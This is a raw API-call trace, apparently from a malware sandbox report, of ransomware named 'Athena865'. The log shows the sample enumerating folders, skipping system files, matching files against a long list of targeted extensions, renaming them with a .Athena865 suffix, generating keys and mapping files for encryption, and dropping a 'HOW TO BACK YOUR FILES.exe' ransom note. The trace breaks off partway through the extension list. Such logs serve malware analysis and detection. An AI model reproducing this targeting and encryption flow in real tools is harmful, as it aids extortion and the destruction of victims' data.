[0062.925] lstrcmpiW (lpString1="Setup.xml", lpString2="pagefile.sys") returned 1 [0062.925] lstrcmpiW (lpString1="Setup.xml", lpString2="boot") returned 1 [0062.925] lstrcmpiW (lpString1="Setup.xml", lpString2="ids.txt") returned 1 [0062.925] lstrcmpiW (lpString1="Setup.xml", lpString2="ntuser.dat") returned 1 [0062.925] lstrcmpiW (lpString1="Setup.xml", lpString2="perflogs") returned 1 [0062.925] lstrcmpiW (lpString1="Setup.xml", lpString2="MSBuild") returned 1 [0062.925] lstrlenW (lpString="Setup.xml") returned 9 [0062.925] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml" [0062.925] lstrlenW (lpString="Setup.xml") returned 9 [0062.925] lstrlenW (lpString="Athena865") returned 9 [0062.925] lstrlenW (lpString=".dll") returned 4 [0062.925] lstrcmpiW (lpString1="Setup.xml", lpString2=".dll") returned 1 [0062.925] lstrlenW (lpString=".lnk") returned 4 [0062.925] lstrcmpiW (lpString1="Setup.xml", lpString2=".lnk") returned 1 [0062.925] lstrlenW (lpString=".ini") returned 4 [0062.925] lstrcmpiW (lpString1="Setup.xml", lpString2=".ini") returned 1 [0062.925] lstrlenW (lpString=".sys") returned 4 [0062.925] lstrcmpiW (lpString1="Setup.xml", lpString2=".sys") returned 1 [0062.925] lstrlenW (lpString="Setup.xml") returned 9 [0062.925] lstrlenW (lpString="bak") returned 3 [0062.925] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0062.925] lstrlenW (lpString="ba_") returned 3 [0062.925] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0062.925] lstrlenW (lpString="dbb") returned 3 [0062.926] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0062.926] lstrlenW (lpString="vmdk") returned 4 [0062.926] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0062.926] lstrlenW (lpString="rar") returned 3 [0062.926] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0062.926] lstrlenW (lpString="zip") returned 3 [0062.926] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0062.926] lstrlenW (lpString="tgz") returned 3 [0062.926] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0062.926] lstrlenW (lpString="vbox") returned 4 [0062.926] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0062.926] lstrlenW (lpString="vdi") returned 3 [0062.926] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0062.926] lstrlenW (lpString="vhd") returned 3 [0062.926] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0062.926] lstrlenW (lpString="vhdx") returned 4 [0062.926] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0062.926] lstrlenW (lpString="avhd") returned 4 [0062.926] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0062.926] lstrlenW (lpString="db") returned 2 [0062.926] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0062.926] lstrlenW (lpString="db2") returned 3 [0062.926] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0062.926] lstrlenW (lpString="db3") returned 3 [0062.926] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0062.926] lstrlenW (lpString="dbf") returned 3 [0062.926] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0062.926] lstrlenW (lpString="mdf") returned 3 [0062.926] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0062.926] lstrlenW (lpString="mdb") returned 3 [0062.926] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0062.926] lstrlenW (lpString="sql") returned 3 [0062.926] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0062.926] lstrlenW (lpString="sqlite") returned 6 [0062.927] lstrcmpiW (lpString1="up.xml", lpString2="sqlite") returned 1 [0062.927] lstrlenW (lpString="sqlite3") returned 7 [0062.927] lstrcmpiW (lpString1="tup.xml", lpString2="sqlite3") returned 1 [0062.927] lstrlenW (lpString="sqlitedb") returned 8 [0062.927] lstrcmpiW (lpString1="etup.xml", lpString2="sqlitedb") returned -1 [0062.927] lstrlenW (lpString="xml") returned 3 [0062.927] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0062.927] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.Athena865") returned 82 [0062.927] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.athena865"), dwFlags=0x1) returned 1 [0062.929] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0062.929] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16683) returned 1 [0062.929] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0062.929] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0062.929] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0062.929] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519090) returned 1 [0062.930] CryptGenRandom (in: hProv=0x519090, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0062.930] CryptReleaseContext (hProv=0x519090, dwFlags=0x0) returned 1 [0062.930] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4430, lpName=0x0) returned 0x17c [0062.932] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4430) returned 0x100000 [0062.934] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519090) returned 1 [0062.934] CryptGenRandom (in: hProv=0x519090, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0062.934] CryptReleaseContext (hProv=0x519090, dwFlags=0x0) returned 1 [0062.934] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0062.934] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0062.934] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0062.934] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0062.935] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0062.935] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0062.935] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0062.935] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0062.935] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0062.935] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0062.935] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0062.935] CloseHandle (hObject=0x17c) returned 1 [0062.935] CloseHandle (hObject=0x154) returned 1 [0062.935] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0062.935] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519118 | out: hHeap=0x4f0000) returned 1 [0062.935] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0062.936] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0062.936] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0062.936] ReleaseMutex (hMutex=0xec) returned 1 [0062.936] CloseHandle (hObject=0xec) returned 1 [0062.936] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C" [0062.936] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5191a0 | out: hHeap=0x4f0000) returned 1 [0062.936] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f688 | out: hHeap=0x4f0000) returned 1 [0062.936] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C") returned 62 [0062.936] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\006FB96BD56DFCB0AFF3545410FAEFFD") returned 0xec [0062.936] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0062.936] lstrcatW (in: lpString1="", lpString2="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C" [0062.936] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0062.936] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 0 [0062.937] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0062.937] GetLastError () returned 0x0 [0062.937] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0062.937] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x538d08 [0062.937] ReadFile (in: hFile=0xf4, lpBuffer=0x538d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x538d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0062.938] CloseHandle (hObject=0xf4) returned 1 [0062.938] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d08 | out: hHeap=0x4f0000) returned 1 [0062.938] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0062.938] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xbd3deee0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd3deee0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0062.938] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0062.938] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0062.938] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0062.938] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xbd3deee0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd3deee0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.938] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0062.938] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0062.938] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0062.938] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0062.938] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd3deee0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd3deee0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0062.938] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0062.938] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe5ed9630, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xe5ed9630, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x4655d500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0062.938] lstrcmpiW (lpString1="Office32WW.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0062.938] lstrcmpiW (lpString1="Office32WW.msi", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0062.938] lstrcmpiW (lpString1="Office32WW.msi", lpString2=".") returned 1 [0062.939] lstrcmpiW (lpString1="Office32WW.msi", lpString2="..") returned 1 [0062.939] lstrcmpiW (lpString1="Office32WW.msi", lpString2="windows") returned -1 [0062.939] lstrcmpiW (lpString1="Office32WW.msi", lpString2="bootmgr") returned 1 [0062.939] lstrcmpiW (lpString1="Office32WW.msi", lpString2="temp") returned -1 [0062.939] lstrcmpiW (lpString1="Office32WW.msi", lpString2="pagefile.sys") returned -1 [0062.939] lstrcmpiW (lpString1="Office32WW.msi", lpString2="boot") returned 1 [0062.939] lstrcmpiW (lpString1="Office32WW.msi", lpString2="ids.txt") returned 1 [0062.939] lstrcmpiW (lpString1="Office32WW.msi", lpString2="ntuser.dat") returned 1 [0062.939] lstrcmpiW (lpString1="Office32WW.msi", lpString2="perflogs") returned -1 [0062.939] lstrcmpiW (lpString1="Office32WW.msi", lpString2="MSBuild") returned 1 [0062.939] lstrlenW (lpString="Office32WW.msi") returned 14 [0062.939] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Office32WW.msi" | out: lpString1="Office32WW.msi") returned="Office32WW.msi" [0062.939] lstrlenW (lpString="Office32WW.msi") returned 14 [0062.939] lstrlenW (lpString="Athena865") returned 9 [0062.939] lstrcmpiW (lpString1="e32WW.msi", lpString2="Athena865") returned 1 [0062.939] lstrlenW (lpString=".dll") returned 4 [0062.939] lstrcmpiW (lpString1="Office32WW.msi", lpString2=".dll") returned 1 [0062.939] lstrlenW (lpString=".lnk") returned 4 [0062.939] lstrcmpiW (lpString1="Office32WW.msi", lpString2=".lnk") returned 1 [0062.939] lstrlenW (lpString=".ini") returned 4 [0062.939] lstrcmpiW (lpString1="Office32WW.msi", lpString2=".ini") returned 1 [0062.939] lstrlenW (lpString=".sys") returned 4 [0062.939] lstrcmpiW (lpString1="Office32WW.msi", lpString2=".sys") returned 1 [0062.939] lstrlenW (lpString="Office32WW.msi") returned 14 [0062.939] lstrlenW (lpString="bak") returned 3 [0062.939] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1 [0062.939] lstrlenW (lpString="ba_") returned 3 [0062.939] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1 [0062.939] lstrlenW (lpString="dbb") returned 3 [0062.939] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1 [0062.939] lstrlenW (lpString="vmdk") returned 4 [0062.939] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1 [0062.939] lstrlenW (lpString="rar") returned 3 [0062.940] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1 [0062.940] lstrlenW (lpString="zip") returned 3 [0062.940] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1 [0062.940] lstrlenW (lpString="tgz") returned 3 [0062.940] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1 [0062.940] lstrlenW (lpString="vbox") returned 4 [0062.940] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1 [0062.940] lstrlenW (lpString="vdi") returned 3 [0062.940] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1 [0062.940] lstrlenW (lpString="vhd") returned 3 [0062.940] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1 [0062.940] lstrlenW (lpString="vhdx") returned 4 [0062.940] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1 [0062.940] lstrlenW (lpString="avhd") returned 4 [0062.940] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1 [0062.940] lstrlenW (lpString="db") returned 2 [0062.940] lstrcmpiW (lpString1="si", lpString2="db") returned 1 [0062.940] lstrlenW (lpString="db2") returned 3 [0062.940] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1 [0062.940] lstrlenW (lpString="db3") returned 3 [0062.940] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1 [0062.940] lstrlenW (lpString="dbf") returned 3 [0062.940] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1 [0062.940] lstrlenW (lpString="mdf") returned 3 [0062.940] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1 [0062.940] lstrlenW (lpString="mdb") returned 3 [0062.940] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1 [0062.940] lstrlenW (lpString="sql") returned 3 [0062.940] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1 [0062.940] lstrlenW (lpString="sqlite") returned 6 [0062.940] lstrcmpiW (lpString1="WW.msi", lpString2="sqlite") returned 1 [0062.940] lstrlenW (lpString="sqlite3") returned 7 [0062.940] lstrcmpiW (lpString1="2WW.msi", lpString2="sqlite3") returned -1 [0062.940] lstrlenW (lpString="sqlitedb") returned 8 [0062.940] lstrcmpiW (lpString1="32WW.msi", lpString2="sqlitedb") returned -1 [0062.941] lstrlenW (lpString="xml") returned 3 [0062.941] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1 [0062.941] lstrlenW (lpString="$er") returned 3 [0062.941] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1 [0062.941] lstrlenW (lpString="4dd") returned 3 [0062.941] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1 [0062.941] lstrlenW (lpString="4dl") returned 3 [0062.941] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1 [0062.941] lstrlenW (lpString="^^^") returned 3 [0062.941] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1 [0062.941] lstrlenW (lpString="abs") returned 3 [0062.941] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1 [0062.941] lstrlenW (lpString="abx") returned 3 [0062.941] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1 [0062.941] lstrlenW (lpString="accdb") returned 5 [0062.941] lstrcmpiW (lpString1="W.msi", lpString2="accdb") returned 1 [0062.941] lstrlenW (lpString="accdc") returned 5 [0062.941] lstrcmpiW (lpString1="W.msi", lpString2="accdc") returned 1 [0062.941] lstrlenW (lpString="accde") returned 5 [0062.941] lstrcmpiW (lpString1="W.msi", lpString2="accde") returned 1 [0062.941] lstrlenW (lpString="accdr") returned 5 [0062.941] lstrcmpiW (lpString1="W.msi", lpString2="accdr") returned 1 [0062.941] lstrlenW (lpString="accdt") returned 5 [0062.941] lstrcmpiW (lpString1="W.msi", lpString2="accdt") returned 1 [0062.941] lstrlenW (lpString="accdw") returned 5 [0062.941] lstrcmpiW (lpString1="W.msi", lpString2="accdw") returned 1 [0062.941] lstrlenW (lpString="accft") returned 5 [0062.941] lstrcmpiW (lpString1="W.msi", lpString2="accft") returned 1 [0062.941] lstrlenW (lpString="adb") returned 3 [0062.941] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1 [0062.941] lstrlenW (lpString="adb") returned 3 [0062.941] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1 [0062.941] lstrlenW (lpString="ade") returned 3 [0062.941] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1 [0062.941] lstrlenW (lpString="adf") returned 3 [0062.942] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1 [0062.942] lstrlenW (lpString="adn") returned 3 [0062.942] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1 [0062.942] lstrlenW (lpString="adp") returned 3 [0062.942] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1 [0062.942] lstrlenW (lpString="alf") returned 3 [0062.942] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1 [0062.942] lstrlenW (lpString="ask") returned 3 [0062.942] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1 [0062.942] lstrlenW (lpString="btr") returned 3 [0062.942] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1 [0062.942] lstrlenW (lpString="cat") returned 3 [0062.942] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1 [0062.942] lstrlenW (lpString="cdb") returned 3 [0062.942] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1 [0062.942] lstrlenW (lpString="ckp") returned 3 [0062.942] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1 [0062.942] lstrlenW (lpString="cma") returned 3 [0062.942] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1 [0062.942] lstrlenW (lpString="cpd") returned 3 [0062.942] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1 [0062.942] lstrlenW (lpString="dacpac") returned 6 [0062.942] lstrcmpiW (lpString1="WW.msi", lpString2="dacpac") returned 1 [0062.942] lstrlenW (lpString="dad") returned 3 [0062.942] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1 [0062.942] lstrlenW (lpString="dadiagrams") returned 10 [0062.942] lstrcmpiW (lpString1="ce32WW.msi", lpString2="dadiagrams") returned -1 [0062.942] lstrlenW (lpString="daschema") returned 8 [0062.942] lstrcmpiW (lpString1="32WW.msi", lpString2="daschema") returned -1 [0062.942] lstrlenW (lpString="db-journal") returned 10 [0062.942] lstrcmpiW (lpString1="ce32WW.msi", lpString2="db-journal") returned -1 [0062.942] lstrlenW (lpString="db-shm") returned 6 [0062.942] lstrcmpiW (lpString1="WW.msi", lpString2="db-shm") returned 1 [0062.942] lstrlenW (lpString="db-wal") returned 6 [0062.943] lstrcmpiW (lpString1="WW.msi", lpString2="db-wal") returned 1 [0062.943] lstrlenW (lpString="dbc") returned 3 [0062.943] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1 [0062.943] lstrlenW (lpString="dbs") returned 3 [0062.943] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1 [0062.943] lstrlenW (lpString="dbt") returned 3 [0062.943] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1 [0062.943] lstrlenW (lpString="dbv") returned 3 [0062.943] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1 [0062.943] lstrlenW (lpString="dbx") returned 3 [0062.943] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1 [0062.943] lstrlenW (lpString="dcb") returned 3 [0062.943] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1 [0062.943] lstrlenW (lpString="dct") returned 3 [0062.943] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1 [0062.943] lstrlenW (lpString="dcx") returned 3 [0062.943] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1 [0062.943] lstrlenW (lpString="ddl") returned 3 [0062.943] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1 [0062.943] lstrlenW (lpString="dlis") returned 4 [0062.943] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1 [0062.943] lstrlenW (lpString="dp1") returned 3 [0062.943] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1 [0062.943] lstrlenW (lpString="dqy") returned 3 [0062.943] lstrcmpiW (lpString1="msi", lpString2="dqy") returned 1 [0062.943] lstrlenW (lpString="dsk") returned 3 [0062.943] lstrcmpiW (lpString1="msi", lpString2="dsk") returned 1 [0062.943] lstrlenW (lpString="dsn") returned 3 [0062.943] lstrcmpiW (lpString1="msi", lpString2="dsn") returned 1 [0062.943] lstrlenW (lpString="dtsx") returned 4 [0062.943] lstrcmpiW (lpString1=".msi", lpString2="dtsx") returned -1 [0062.943] lstrlenW (lpString="dxl") returned 3 [0062.943] lstrcmpiW (lpString1="msi", lpString2="dxl") returned 1 [0062.944] lstrlenW (lpString="eco") returned 3 [0062.944] lstrcmpiW (lpString1="msi", lpString2="eco") returned 1 [0062.944] lstrlenW (lpString="ecx") returned 3 [0062.944] lstrcmpiW (lpString1="msi", lpString2="ecx") returned 1 [0062.944] lstrlenW (lpString="edb") returned 3 [0062.944] lstrcmpiW (lpString1="msi", lpString2="edb") returned 1 [0062.944] lstrlenW (lpString="epim") returned 4 [0062.944] lstrcmpiW (lpString1=".msi", lpString2="epim") returned -1 [0062.944] lstrlenW (lpString="fcd") returned 3 [0062.944] lstrcmpiW (lpString1="msi", lpString2="fcd") returned 1 [0062.944] lstrlenW (lpString="fdb") returned 3 [0062.944] lstrcmpiW (lpString1="msi", lpString2="fdb") returned 1 [0062.944] lstrlenW (lpString="fic") returned 3 [0062.944] lstrcmpiW (lpString1="msi", lpString2="fic") returned 1 [0062.944] lstrlenW (lpString="flexolibrary") returned 12 [0062.944] lstrcmpiW (lpString1="fice32WW.msi", lpString2="flexolibrary") returned -1 [0062.944] lstrlenW (lpString="fm5") returned 3 [0062.944] lstrcmpiW (lpString1="msi", lpString2="fm5") returned 1 [0062.944] lstrlenW (lpString="fmp") returned 3 [0062.944] lstrcmpiW (lpString1="msi", lpString2="fmp") returned 1 [0062.944] lstrlenW (lpString="fmp12") returned 5 [0062.944] lstrcmpiW (lpString1="W.msi", lpString2="fmp12") returned 1 [0062.944] lstrlenW (lpString="fmpsl") returned 5 [0062.944] lstrcmpiW (lpString1="W.msi", lpString2="fmpsl") returned 1 [0062.944] lstrlenW (lpString="fol") returned 3 [0062.944] lstrcmpiW (lpString1="msi", lpString2="fol") returned 1 [0062.944] lstrlenW (lpString="fp3") returned 3 [0062.944] lstrcmpiW (lpString1="msi", lpString2="fp3") returned 1 [0062.944] lstrlenW (lpString="fp4") returned 3 [0062.944] lstrcmpiW (lpString1="msi", lpString2="fp4") returned 1 [0062.944] lstrlenW (lpString="fp5") returned 3 